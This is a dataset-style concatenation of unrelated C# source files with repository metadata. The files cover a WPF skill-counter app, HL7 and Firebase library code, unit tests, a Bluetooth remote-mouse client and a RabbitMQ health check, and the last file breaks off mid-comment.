using FEZSkillCounter.Common; using FEZSkillCounter.Model.Repository; using Microsoft.EntityFrameworkCore; using SkillUseCounter; using System; using System.Configuration; using System.Diagnostics; using System.IO; using System.Reflection; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows; using System.Windows.Threading; namespace FEZSkillCounter { /// <summary> /// App.xaml の相互作用ロジック /// </summary> public partial class App : Application { private static readonly string DbFilePath = Path.Combine( Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "skillcount.db"); public AppDbContext AppDb { get; private set; } #if DEBUG static App() { NativeMethods.AttachConsole(-1); } #endif [STAThread] public static void Main() { #if !DEBUG using (var semaphore = new Semaphore(1, 1, "FEZSkillCounter", out bool createdNew)) { if (!createdNew) { return; } #endif var isValid = FEZCommonLibrary.FEZSettingValidator.ValidateGlobalIniSetting(); if (isValid) { var app = new App(); app.InitializeComponent(); app.Run(); } else { MessageBox.Show( "GLOBAL.iniの設定内容がツールに適していません。" + Environment.NewLine + "下記の設定を見直してください。" + Environment.NewLine + "" + Environment.NewLine + "・フルスクリーン:OFF" + Environment.NewLine + "・ウィンドウカラー:通常", "Error", MessageBoxButton.OK, MessageBoxImage.Error); } #if !DEBUG } #endif } private async void Application_Startup(object sender, StartupEventArgs e) { AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; DispatcherUnhandledException += Application_DispatcherUnhandledException; TaskScheduler.UnobservedTaskException += TaskScheduler_UnobservedTaskException; AppDb = new AppDbContext(DbFilePath); await AppDb.Database.MigrateAsync(); } private void Application_DispatcherUnhandledException(object sender, DispatcherUnhandledExceptionEventArgs e) { if (e.Exception is TaskCanceledException) return; ShutdownIfMahAppSettingFileError(e); ApplicationError.HandleUnexpectedError(e.Exception); } private void TaskScheduler_UnobservedTaskException(object sender, UnobservedTaskExceptionEventArgs e) { ApplicationError.HandleUnexpectedError(e.Exception); } private void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e) { var showMessageBox = !e.IsTerminating; ApplicationError.HandleUnexpectedError(e.ExceptionObject as Exception, showMessageBox); } private void Application_Exit(object sender, ExitEventArgs e) { AppDb.Dispose(); AppDb = null; } private void ShutdownIfMahAppSettingFileError(DispatcherUnhandledExceptionEventArgs args) { // MahAppのウィンドウサイズ・位置を保持している user.config が、 // 時折破損することがある。 // そのため、破損(ConfigurationErrorsException)を検知した場合はuser.configを削除する。 // なお、例外をキャッチ後はアプリを再起動しないと上手く起動しないため、 // メッセージ表示後にアプリを終了する。 var ex = args.Exception?.InnerException as ConfigurationErrorsException; if (ex != null && Path.GetFileName(ex.Filename) == "user.config") { try { File.Delete(ex.Filename); MessageBox.Show( "設定ファイルが破損していました。" + Environment.NewLine + "アプリを再起動してください。", "Error", MessageBoxButton.OK, MessageBoxImage.Error); } catch { MessageBox.Show( "設定ファイルが破損していました。" + Environment.NewLine + "手動で下記のファイルを削除してください。" + Environment.NewLine + ex.Filename, "Error", MessageBoxButton.OK, MessageBoxImage.Error); } finally { Shutdown(-1); } } } } public static class ApplicationExtension { public static AppDbContext GetAppDb(this Application application) { var app = application as App; return app?.AppDb; } } public class ApplicationError { private const string ErrorLogFileName = "error_{0}.log"; private static readonly DirectoryInfo _directory = new DirectoryInfo( Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "error")); private static bool _isFirstError = true; public static void HandleUnexpectedError(Exception ex, bool showMessageBox = true) { if (!_isFirstError) { return; } if (ex is FileNotFoundException && ex.Message.IndexOf("ControlzEx.XmlSerializers") != -1) { // 起動時に毎回スローされるが、特に害はない例外のため記録しない return; } #if DEBUG Debugger.Break(); #endif _isFirstError = true; try { OutputAsLogFile(ex); } catch { } if (showMessageBox) { string errorMsg = "予期せぬエラーが発生しました。" + Environment.NewLine + "アプリケーションを終了します。" + Environment.NewLine + "(errorlogフォルダにエラー内容が保存されます)"; MessageBox.Show(errorMsg, "Error", MessageBoxButton.OK, MessageBoxImage.Error); } Application.Current.Shutdown(-1); } private static void OutputAsLogFile(Exception ex) { if (ex == null) { return; } if (!_directory.Exists) { _directory.Create(); } var logfileName = string.Format(ErrorLogFileName, DateTime.Now.ToString("yyyyMMddHHmmss")); var fullPath = Path.Combine(_directory.FullName, logfileName); using (var sw = new StreamWriter(fullPath, false, Encoding.UTF8)) { sw.WriteLine("---Exception------------------------"); sw.WriteLine("[Message]"); sw.WriteLine(ex.Message); sw.WriteLine("[Source]"); sw.WriteLine(ex.Source); sw.WriteLine("[StackTrace]"); sw.WriteLine(ex.StackTrace); sw.WriteLine(string.Empty); OutputInnnerException(ex, sw); } } private static void OutputInnnerException(Exception ex, StreamWriter sw) { if (ex.InnerException == null) { return; } sw.WriteLine("---InnerException-------------------"); sw.WriteLine("[Message]"); sw.WriteLine(ex.InnerException.Message); sw.WriteLine("[Source]"); sw.WriteLine(ex.InnerException.Source); sw.WriteLine("[StackTrace]"); sw.WriteLine(ex.InnerException.StackTrace); sw.WriteLine(string.Empty); OutputInnnerException(ex.InnerException, sw); } } }
32.036585
117
0.540541
[ "MIT" ]
saipan-fez/FEZSkillCounter
src/FEZSkillCounter/FEZSkillCounter/App.xaml.cs
8,509
C#
/** * Copyright 2013 Canada Health Infoway, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * Author: $LastChangedBy: gng $ * Last modified: $LastChangedDate: 2015-11-19 18:20:12 -0500 (Fri, 30 Jan 2015) $ * Revision: $LastChangedRevision: 9755 $ */ /* This class was auto-generated by the message builder generator tools. */ using Ca.Infoway.Messagebuilder; namespace Ca.Infoway.Messagebuilder.Model.Ab_r02_04_03_shr.Domainvalue { public interface ContractorProviderCodes : Code { } }
36.517241
83
0.711048
[ "ECL-2.0", "Apache-2.0" ]
CanadaHealthInfoway/message-builder-dotnet
message-builder-release-ab_r02_04_03_shr/Main/Ca/Infoway/Messagebuilder/Model/Ab_r02_04_03_shr/Domainvalue/ContractorProviderCodes.cs
1,059
C#
//------------------------------------------------------------------------------ // <auto-generated> // 此代码由工具生成。 // 运行时版本: 4.0.30319.42000 // // 对此文件的更改可能导致不正确的行为,如果 // 重新生成代码,则所做更改将丢失。 // </auto-generated> //------------------------------------------------------------------------------ namespace SocketLite.Server.Properties { /// <summary> /// 强类型资源类,用于查找本地化字符串等。 /// </summary> // 此类是由 StronglyTypedResourceBuilder // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 // 若要添加或删除成员,请编辑 .ResX 文件,然后重新运行 ResGen // (以 /str 作为命令选项),或重新生成 VS 项目。 [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// <summary> /// 返回此类使用的缓存 ResourceManager 实例。 /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if ((resourceMan == null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SocketLite.Server.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// <summary> /// 覆盖当前线程的 CurrentUICulture 属性 /// 使用此强类型的资源类的资源查找。 /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } }
33.972222
183
0.576043
[ "MIT" ]
known/SocketLite
SocketLite.Server/Properties/Resources.Designer.cs
2,776
C#
namespace Atc.Tests.Collections; public class ConcurrentHashSetTests { [Fact] public void GetEnumerator() { // Arrange var list = new ConcurrentHashSet<int>(); // Act var actual = list.GetEnumerator(); // Assert Assert.Equal(0, actual.Current); list.Dispose(); } [Theory] [InlineData(true, 27)] public void TryAdd(bool expected, int input) { // Arrange var list = new ConcurrentHashSet<int>(); // Act var actual = list.TryAdd(input); // Assert Assert.Equal(expected, actual); list.Dispose(); } [Theory] [InlineData(false, 27)] public void TryRemove(bool expected, int input) { // Arrange var list = new ConcurrentHashSet<int>(); // Act var actual = list.TryRemove(input); // Assert Assert.Equal(expected, actual); list.Dispose(); } [Theory] [InlineData(false, 27)] public void Contains(bool expected, int input) { // Arrange var list = new ConcurrentHashSet<int>(); // Act var actual = list.Contains(input); // Assert Assert.Equal(expected, actual); list.Dispose(); } [Fact] public void Clear() { // Arrange var list = new ConcurrentHashSet<int>(); // Act list.Clear(); // Assert Assert.Empty(list); list.Dispose(); } [Theory] [InlineData(0, 27)] public void FirstOrDefault(int expected, int input) { // Arrange var list = new ConcurrentHashSet<int>(); // Act var actual = list.FirstOrDefault(x => x == input); // Assert Assert.Equal(expected, actual); list.Dispose(); } }
19.978261
58
0.5321
[ "MIT" ]
atc-net/atc-common
test/Atc.Tests/Collections/ConcurrentHashSetTests.cs
1,838
C#
using System; using System.Runtime.InteropServices; using HipchatApiV2; using HipchatApiV2.Requests; using Xunit; namespace IntegrationTests { [Trait("SendNotification", "")] public class SendRoomNotification : IDisposable { private readonly int _existingRoomId; private readonly HipchatClient _client; public SendRoomNotification() { HipchatApiConfig.AuthToken = TestsConfig.AuthToken; _client = new HipchatClient(); _existingRoomId = TestHelpers.GetARoomId(_client,"Send Notification Test Room"); } [Fact(DisplayName = "Can send a room notification", Skip = "Setup auth token")] public void CanSendRoomNotification() { var sendMessageResult = _client.SendNotification(_existingRoomId, "Test message"); Assert.True(sendMessageResult); } public void Dispose() { _client.DeleteRoom(_existingRoomId); } } }
28.4
94
0.651911
[ "MIT" ]
KyleGobel/Hipchat-CS
src/IntegrationTests/SendRoomNotification.cs
996
C#
using NBi.Core.Scalar.Resolver; using NBi.Core.Sequence.Resolver; using NBi.Extensibility.Resolving; using System; using System.Collections.Generic; using System.Globalization; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Threading.Tasks; namespace NBi.Core.Calculation.Predicate.Text { class TextAnyOf : AbstractTextPredicate { protected IEnumerable<string> References { get => (IEnumerable<string>)Reference.Execute(); } public TextAnyOf(bool not, ISequenceResolver reference, StringComparison stringComparison) : base(not, reference, stringComparison) { } protected override bool ApplyWithReference(object reference, object x) { var comparer = StringComparer.Create(CultureInfo.InvariantCulture, StringComparison == StringComparison.InvariantCultureIgnoreCase); return References.Contains(x.ToString(), comparer); } public override string ToString() => $"is within the list of {References.Count()} values ('{(string.Join("', '", References.Take(Math.Min(3, References.Count()))))}'{(References.Count()>3 ? ", ..." : string.Empty)})"; } }
36.606061
195
0.706126
[ "Apache-2.0" ]
TheAutomatingMrLynch/NBi
NBi.Core/Calculation/Predicate/Text/TextAnyOf.cs
1,210
C#
// Copyright (c) 2007-2018 ppy Pty Ltd <contact@ppy.sh>. // Licensed under the MIT Licence - https://raw.githubusercontent.com/ppy/osu/master/LICENCE namespace osu.Game.Users { public class Team { public string Name; } }
23
93
0.648221
[ "MIT" ]
StefanYohansson/osu
osu.Game/Users/Team.cs
255
C#
using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using HotChocolate.Language; #nullable enable namespace HotChocolate.Types.Descriptors.Definitions { /// <summary> /// Defines the properties of a GraphQL object type. /// </summary> public class ObjectTypeDefinition : TypeDefinitionBase<ObjectTypeDefinitionNode> , IComplexOutputTypeDefinition { private List<Type>? _knownClrTypes; private List<ITypeReference>? _interfaces; private List<ObjectFieldBinding>? _fieldIgnores; /// <summary> /// Initializes a new instance of <see cref="ObjectTypeDefinition"/>. /// </summary> public ObjectTypeDefinition() { } /// <summary> /// Initializes a new instance of <see cref="ObjectTypeDefinition"/>. /// </summary> public ObjectTypeDefinition( NameString name, string? description = null, Type? runtimeType = null) : base(runtimeType ?? typeof(object)) { Name = name; Description = description; FieldBindingType = runtimeType; } /// <summary> /// Gets or sets the .net type representation of this type. /// </summary> public override Type RuntimeType { get => base.RuntimeType; set { base.RuntimeType = value; FieldBindingType = value; } } /// <summary> /// The type that shall be used to infer fields from. /// </summary> public Type? FieldBindingType { get; set; } /// <summary> /// Runtime types that also represent this GraphQL type. /// </summary> public IList<Type> KnownRuntimeTypes => _knownClrTypes ??= new List<Type>(); /// <summary> /// Gets fields that shall be ignored. /// </summary> public IList<ObjectFieldBinding> FieldIgnores => _fieldIgnores ??= new List<ObjectFieldBinding>(); /// <summary> /// A delegate to determine if a resolver result is of this object type. /// </summary> public IsOfType? IsOfType { get; set; } /// <summary> /// Defines if this type definition represents a object type extension. /// </summary> public bool IsExtension { get; set; } /// <summary> /// Gets the interfaces that this object type implements. /// </summary> public IList<ITypeReference> Interfaces => _interfaces ??= new List<ITypeReference>(); /// <summary> /// Specifies if this definition has interfaces. /// </summary> public bool HasInterfaces => _interfaces is { Count: > 0 }; /// <summary> /// Gets the fields of this object type. /// </summary> public IBindableList<ObjectFieldDefinition> Fields { get; } = new BindableList<ObjectFieldDefinition>(); internal override IEnumerable<ITypeSystemMemberConfiguration> GetConfigurations() { List<ITypeSystemMemberConfiguration>? configs = null; if (HasConfigurations) { configs ??= new(); configs.AddRange(Configurations); } foreach (ObjectFieldDefinition field in Fields) { if (field.HasConfigurations) { configs ??= new(); configs.AddRange(field.Configurations); } foreach (ArgumentDefinition argument in field.GetArguments()) { if (argument.HasConfigurations) { configs ??= new(); configs.AddRange(argument.Configurations); } } } return configs ?? Enumerable.Empty<ITypeSystemMemberConfiguration>(); } internal IReadOnlyList<Type> GetKnownClrTypes() { if (_knownClrTypes is null) { return Array.Empty<Type>(); } return _knownClrTypes; } internal IReadOnlyList<ITypeReference> GetInterfaces() { if (_interfaces is null) { return Array.Empty<ITypeReference>(); } return _interfaces; } internal IReadOnlyList<ObjectFieldBinding> GetFieldIgnores() { if (_fieldIgnores is null) { return Array.Empty<ObjectFieldBinding>(); } return _fieldIgnores; } protected internal void CopyTo(ObjectTypeDefinition target) { base.CopyTo(target); if (_knownClrTypes is { Count: > 0 }) { target._knownClrTypes = new List<Type>(_knownClrTypes); } if (_interfaces is { Count: > 0 }) { target._interfaces = new List<ITypeReference>(_interfaces); } if (_fieldIgnores is { Count: > 0 }) { target._fieldIgnores = new List<ObjectFieldBinding>(_fieldIgnores); } if (Fields is { Count: > 0 }) { target.Fields.Clear(); foreach (var field in Fields) { target.Fields.Add(field); } } target.FieldBindingType = FieldBindingType; target.IsOfType = IsOfType; target.IsExtension = IsExtension; } protected internal void MergeInto(ObjectTypeDefinition target) { base.MergeInto(target); if (_knownClrTypes is { Count: > 0 }) { target._knownClrTypes ??= new List<Type>(); target._knownClrTypes.AddRange(_knownClrTypes); } if (_interfaces is { Count: > 0 }) { target._interfaces ??= new List<ITypeReference>(); target._interfaces.AddRange(_interfaces); } if (_fieldIgnores is { Count: > 0 }) { target._fieldIgnores ??= new List<ObjectFieldBinding>(); target._fieldIgnores.AddRange(_fieldIgnores); } foreach (var field in Fields) { ObjectFieldDefinition? targetField = field switch { { BindToField: { Type: ObjectFieldBindingType.Property } bindTo } => target.Fields.FirstOrDefault(t => bindTo.Name.Equals(t.Member?.Name!)), { BindToField: { Type: ObjectFieldBindingType.Field } bindTo } => target.Fields.FirstOrDefault(t => bindTo.Name.Equals(t.Name)), _ => target.Fields.FirstOrDefault(t => field.Name.Equals(t.Name)) }; var replaceField = field.BindToField?.Replace ?? false; var removeField = field.Ignore; // we skip fields that have an incompatible parent. if (field.Member is MethodInfo p && p.GetParameters() is { Length: > 0 } parameters) { ParameterInfo? parent = parameters.FirstOrDefault( t => t.IsDefined(typeof(ParentAttribute), true)); if (parent is not null && !parent.ParameterType.IsAssignableFrom(target.RuntimeType)) { continue; } } if (removeField) { if (targetField is not null) { target.Fields.Remove(targetField); } } else if (targetField is null || replaceField) { if (targetField is not null) { target.Fields.Remove(targetField); } var newField = new ObjectFieldDefinition(); field.CopyTo(newField); newField.SourceType = target.RuntimeType; SetResolverMember(newField, targetField); target.Fields.Add(newField); } else { SetResolverMember(field, targetField); field.MergeInto(targetField); } } target.IsOfType ??= IsOfType; } private static void SetResolverMember( ObjectFieldDefinition sourceField, ObjectFieldDefinition? targetField) { // we prepare the field that is merged in to use the resolver member instead of member. // this will ensure that the original source type member is preserved after we have // merged the type extensions. if (sourceField.Member is not null && sourceField.ResolverMember is null) { sourceField.ResolverMember = sourceField.Member; sourceField.Member = targetField?.Member; } } } }
32.493103
99
0.510665
[ "MIT" ]
BlacKCaT27/hotchocolate
src/HotChocolate/Core/src/Types/Types/Descriptors/Definitions/ObjectTypeDefinition.cs
9,423
C#
using System; using System.Diagnostics; using System.IO; using System.Linq; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using PathLengthChecker; namespace PathLengthCheckerGUI { /// <summary> /// Interaction logic for App.xaml /// </summary> public partial class App : Application { public App() : base() { SetupUnhandledExceptionHandling(); } private void SetupUnhandledExceptionHandling() { // Catch exceptions from all threads in the AppDomain. AppDomain.CurrentDomain.UnhandledException += (sender, args) => ShowUnhandledException(args.ExceptionObject as Exception, "AppDomain.CurrentDomain.UnhandledException", false); // Catch exceptions from each AppDomain that uses a task scheduler for async operations. TaskScheduler.UnobservedTaskException += (sender, args) => ShowUnhandledException(args.Exception, "TaskScheduler.UnobservedTaskException", false); // Catch exceptions from a single specific UI dispatcher thread. Dispatcher.UnhandledException += (sender, args) => { // If we are debugging, let Visual Studio handle the exception and take us to the code that threw it. if (!Debugger.IsAttached) { args.Handled = true; ShowUnhandledException(args.Exception, "Dispatcher.UnhandledException", true); } }; // Catch exceptions from the main UI dispatcher thread. // Typically we only need to catch this OR the Dispatcher.UnhandledException. // Handling both can result in the exception getting handled twice. //Application.Current.DispatcherUnhandledException += (sender, args) => //{ // // If we are debugging, let Visual Studio handle the exception and take us to the code that threw it. // if (!Debugger.IsAttached) // { // args.Handled = true; // ShowUnhandledException(args.Exception, "Application.Current.DispatcherUnhandledException", true); // } //}; } void ShowUnhandledException(Exception e, string unhandledExceptionType, bool promptUserForShutdown) { var messageBoxTitle = $"Unexpected Error Occurred: {unhandledExceptionType}"; var messageBoxMessage = $"The following exception occurred:\n\n{e}"; var messageBoxButtons = MessageBoxButton.OK; if (promptUserForShutdown) { messageBoxMessage += "\n\nNormally the app would die now. Should we let it die?"; messageBoxButtons = MessageBoxButton.YesNo; } // Let the user decide if the app should die or not (if applicable). if (MessageBox.Show(messageBoxMessage, messageBoxTitle, messageBoxButtons) == MessageBoxResult.Yes) { Application.Current.Shutdown(); } } private void Application_Startup(object sender, StartupEventArgs e) { InitializeComponent(); var mainWindow = new MainWindow(); // If a directory was drag-and-dropped onto the GUI executable, launch with the app searching the given directory. if (e.Args.Length == 1 && Directory.Exists(e.Args[0])) { mainWindow.txtRootDirectory.Text = e.Args[0]; mainWindow.btnGetPathLengths.RaiseEvent(new RoutedEventArgs(Button.ClickEvent)); } else if (e.Args.Length >= 1) { try { var searchOptions = PathLengthChecker.ArgumentParser.ParseArgs(e.Args); mainWindow.SetUIControlsFromSearchOptions(searchOptions); // Only start the search if a root dir was specified if (!String.IsNullOrEmpty(searchOptions?.RootDirectory)) { mainWindow.btnGetPathLengths.RaiseEvent(new RoutedEventArgs(Button.ClickEvent)); } } catch (ArgumentException ex) { string title = "Incorrect arguments"; string message = "Incorrectly-formatted arguments were passed to the program.\n\n"; message += ex.Message + "\n\n" + PathLengthChecker.ArgumentParser.ArgumentUsage; MessageBox.Show(message, title); } } mainWindow.Show(); } private void Application_Exit(object sender, ExitEventArgs e) { // Save any application settings that were changed when exiting (such as window size and position). PathLengthCheckerGUI.Properties.Settings.Default.Save(); } } }
34.378151
117
0.724273
[ "MIT" ]
A9G-Data-Droid/PathLengthChecker
src/PathLengthCheckerGUI/App.xaml.cs
4,093
C#
namespace CustomerLoyaltyStore.Models { public class Prize { public Prize() { } public Prize(string id, int loyaltyPointsCost) { ID = id; LoyaltyPointsCost = loyaltyPointsCost; } public string ID { get; set; } public int LoyaltyPointsCost { get; set; } public override string ToString() => $"Prize[{ID}] costs {LoyaltyPointsCost} points."; } }
21.714286
94
0.557018
[ "MIT" ]
P7CoreOrg/GraphQL.Play.2.2
src/CustomerLoyaltyStore/Models/Prize.cs
458
C#
using System; using System.Reactive.Concurrency; using System.Reactive.Linq; using System.Threading.Tasks; using Windows.Devices.Bluetooth.Rfcomm; using Windows.Devices.Enumeration; using Windows.Foundation; using Windows.Networking.Sockets; using Windows.Storage.Streams; using Windows.UI.Xaml; using Windows.UI.Xaml.Input; namespace WinRemoteMouse { internal static class MisExtensiones { public static IObservable<TResult> WithPrevious<TSource, TResult>(this IObservable<TSource> source, Func<TSource, TSource, TResult> projection) { return source.Scan(Tuple.Create(default(TSource), default(TSource)), (previous, current) => Tuple.Create(previous.Item2, current)) .Select(t => projection(t.Item1, t.Item2)); } } /// <summary> /// An empty page that can be used on its own or navigated to within a Frame. /// </summary> public sealed partial class MainPage { private static readonly Guid RfcommChatServiceUuid = Guid.Parse("87240836-54AF-41F8-A881-09F06364EEFC"); private StreamSocket _socket; private DataWriter _chatWriter; private RfcommDeviceService _service; private DeviceInformationCollection _serviceInfoCollection; public MainPage() { InitializeComponent(); Loaded += OnLoaded; } private async void OnLoaded(object sender, RoutedEventArgs e) { if (!await StartMouse()) { // TODO: Show error } var moveObserv = Observable.FromEventPattern<PointerRoutedEventArgs>(MainGrid, "PointerMoved"); moveObserv .Select(evnt => evnt.EventArgs.GetCurrentPoint(this).Position) .WithPrevious((previous, current) => new { CurrentPoint = current, PreviousPoint = previous, }) .Subscribe(async obj => { var x = obj.CurrentPoint.X.CompareTo(obj.PreviousPoint.X); var y = obj.CurrentPoint.Y.CompareTo(obj.PreviousPoint.Y); var msg = string.Format("Type:{0};X:{1};Y:{2};", "Move", x, y); _chatWriter.WriteUInt32((uint)msg.Length); _chatWriter.WriteString(msg); await _chatWriter.StoreAsync(); }); LeftButton.Click += LeftButtonOnClick; RightButton.Click += RightButtonOnClick; } private async void RightButtonOnClick(object sender, RoutedEventArgs e) { var msg = string.Format("Type:{0};", "RClick"); _chatWriter.WriteUInt32((uint)msg.Length); _chatWriter.WriteString(msg); await _chatWriter.StoreAsync(); } private async void LeftButtonOnClick(object sender, RoutedEventArgs e) { var msg = string.Format("Type:{0};", "LClick"); _chatWriter.WriteUInt32((uint)msg.Length); _chatWriter.WriteString(msg); await _chatWriter.StoreAsync(); } private async Task<bool> StartMouse() { _serviceInfoCollection = await DeviceInformation.FindAllAsync( RfcommDeviceService.GetDeviceSelector(RfcommServiceId.FromUuid(RfcommChatServiceUuid))); if (_serviceInfoCollection.Count <= 0) return false; var chatServiceInfo = _serviceInfoCollection[0]; _service = await RfcommDeviceService.FromIdAsync(chatServiceInfo.Id); if (_service == null) { return false; } lock (this) { _socket = new StreamSocket(); } await _socket.ConnectAsync(_service.ConnectionHostName, _service.ConnectionServiceName); _chatWriter = new DataWriter(_socket.OutputStream); return true; } } }
35.782609
151
0.581288
[ "MIT" ]
nicolocodev/winremotemouse
WinRemoteMouse/WinRemoteMouse.Windows/MainPage.xaml.cs
4,117
C#
using Microsoft.Extensions.Diagnostics.HealthChecks; using RabbitMQ.Client; namespace HealthChecks.RabbitMQ { public class RabbitMQHealthCheck : IHealthCheck, IDisposable { private IConnection? _connection; private IConnectionFactory? _factory; private readonly Uri? _rabbitConnectionString; private readonly SslOption? _sslOption; private readonly bool _ownsConnection; private bool _disposed; public RabbitMQHealthCheck(IConnection connection) { _connection = connection ?? throw new ArgumentNullException(nameof(connection)); } public RabbitMQHealthCheck(IConnectionFactory factory) { _factory = factory ?? throw new ArgumentNullException(nameof(factory)); _ownsConnection = true; } public RabbitMQHealthCheck(Uri rabbitConnectionString, SslOption? ssl) { _rabbitConnectionString = rabbitConnectionString; _sslOption = ssl; _ownsConnection = true; } public Task<HealthCheckResult> CheckHealthAsync(HealthCheckContext context, CancellationToken cancellationToken = default) { try { using var model = EnsureConnection().CreateModel(); return Task.FromResult(HealthCheckResult.Healthy()); } catch (Exception ex) { return Task.FromResult( new HealthCheckResult(context.Registration.FailureStatus, exception: ex)); } } private IConnection EnsureConnection() { if (_disposed) throw new ObjectDisposedException(nameof(RabbitMQHealthCheck)); if (_connection == null) { if (_factory == null) { _factory = new ConnectionFactory() { Uri = _rabbitConnectionString, AutomaticRecoveryEnabled = true, UseBackgroundThreadsForIO = true, }; if (_sslOption != null) ((ConnectionFactory)_factory).Ssl = _sslOption; } _connection = _factory.CreateConnection(); } return _connection; } protected virtual void Dispose(bool disposing) { if (disposing) { // dispose connection only if RabbitMQHealthCheck owns it if (!_disposed && _connection != null && _ownsConnection) { _connection.Dispose(); _connection = null; } _disposed = true; } } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } } }
31.255319
130
0.543227
[ "Apache-2.0" ]
illegitimis/AspNetCore.Diagnostics.HealthChecks
src/HealthChecks.Rabbitmq/RabbitMQHealthCheck.cs
2,938
C#
namespace FirebaseStandard.Database.Offline { using System; using System.Collections; using System.Collections.Generic; using System.Linq.Expressions; using System.Reflection; using FirebaseStandard.Database.Query; public static class DatabaseExtensions { /// <summary> /// Create new instances of the <see cref="RealtimeDatabase{T}"/>. /// </summary> /// <typeparam name="T"> Type of elements. </typeparam> /// <param name="filenameModifier"> Custom string which will get appended to the file name. </param> /// <param name="elementRoot"> Optional custom root element of received json items. </param> /// <param name="streamingOptions"> Realtime streaming options. </param> /// <param name="initialPullStrategy"> Specifies what strategy should be used for initial pulling of server data. </param> /// <param name="pushChanges"> Specifies whether changed items should actually be pushed to the server. It this is false, then Put / Post / Delete will not affect server data. </param> /// <returns> The <see cref="RealtimeDatabase{T}"/>. </returns> public static RealtimeDatabase<T> AsRealtimeDatabase<T>(this ChildQuery query, string filenameModifier = "", string elementRoot = "", StreamingOptions streamingOptions = StreamingOptions.LatestOnly, InitialPullStrategy initialPullStrategy = InitialPullStrategy.MissingOnly, bool pushChanges = true) where T : class { return new RealtimeDatabase<T>(query, elementRoot, query.Client.Options.OfflineDatabaseFactory, filenameModifier, streamingOptions, initialPullStrategy, pushChanges); } /// <summary> /// Create new instances of the <see cref="RealtimeDatabase{T}"/>. /// </summary> /// <typeparam name="T"> Type of elements. </typeparam> /// <typeparam name="TSetHandler"> Type of the custom <see cref="ISetHandler{T}"/> to use. </typeparam> /// <param name="filenameModifier"> Custom string which will get appended to the file name. </param> /// <param name="elementRoot"> Optional custom root element of received json items. </param> /// <param name="streamingOptions"> Realtime streaming options. </param> /// <param name="initialPullStrategy"> Specifies what strategy should be used for initial pulling of server data. </param> /// <param name="pushChanges"> Specifies whether changed items should actually be pushed to the server. It this is false, then Put / Post / Delete will not affect server data. </param> /// <returns> The <see cref="RealtimeDatabase{T}"/>. </returns> public static RealtimeDatabase<T> AsRealtimeDatabase<T, TSetHandler>(this ChildQuery query, string filenameModifier = "", string elementRoot = "", StreamingOptions streamingOptions = StreamingOptions.LatestOnly, InitialPullStrategy initialPullStrategy = InitialPullStrategy.MissingOnly, bool pushChanges = true) where T : class where TSetHandler : ISetHandler<T>, new() { return new RealtimeDatabase<T>(query, elementRoot, query.Client.Options.OfflineDatabaseFactory, filenameModifier, streamingOptions, initialPullStrategy, pushChanges, Activator.CreateInstance<TSetHandler>()); } /// <summary> /// Overwrites existing object with given key leaving any missing properties intact in firebase. /// </summary> /// <param name="key"> The key. </param> /// <param name="obj"> The object to set. </param> /// <param name="syncOnline"> Indicates whether the item should be synced online. </param> /// <param name="priority"> The priority. Objects with higher priority will be synced first. Higher number indicates higher priority. </param> public static void Patch<T>(this RealtimeDatabase<T> db, string key, T obj, bool syncOnline = true, int priority = 1) where T: class { db.Set(key, obj, syncOnline ? SyncOptions.Patch : SyncOptions.None, priority); } /// <summary> /// Overwrites existing object with given key. /// </summary> /// <param name="key"> The key. </param> /// <param name="obj"> The object to set. </param> /// <param name="syncOnline"> Indicates whether the item should be synced online. </param> /// <param name="priority"> The priority. Objects with higher priority will be synced first. Higher number indicates higher priority. </param> public static void Put<T>(this RealtimeDatabase<T> db, string key, T obj, bool syncOnline = true, int priority = 1) where T: class { db.Set(key, obj, syncOnline ? SyncOptions.Put : SyncOptions.None, priority); } /// <summary> /// Adds a new entity to the Database. /// </summary> /// <param name="obj"> The object to add. </param> /// <param name="syncOnline"> Indicates whether the item should be synced online. </param> /// <param name="priority"> The priority. Objects with higher priority will be synced first. Higher number indicates higher priority. </param> /// <returns> The generated key for this object. </returns> public static string Post<T>(this RealtimeDatabase<T> db, T obj, bool syncOnline = true, int priority = 1) where T: class { var key = FirebaseKeyGenerator.Next(); db.Set(key, obj, syncOnline ? SyncOptions.Put : SyncOptions.None, priority); return key; } /// <summary> /// Deletes the entity with the given key. /// </summary> /// <param name="key"> The key. </param> /// <param name="syncOnline"> Indicates whether the item should be synced online. </param> /// <param name="priority"> The priority. Objects with higher priority will be synced first. Higher number indicates higher priority. </param> public static void Delete<T>(this RealtimeDatabase<T> db, string key, bool syncOnline = true, int priority = 1) where T: class { db.Set(key, null, syncOnline ? SyncOptions.Put : SyncOptions.None, priority); } /// <summary> /// Do a Put for a nested property specified by <paramref name="propertyExpression"/> of an object with key <paramref name="key"/>. /// </summary> /// <typeparam name="T"> Type of the root elements. </typeparam> /// <typeparam 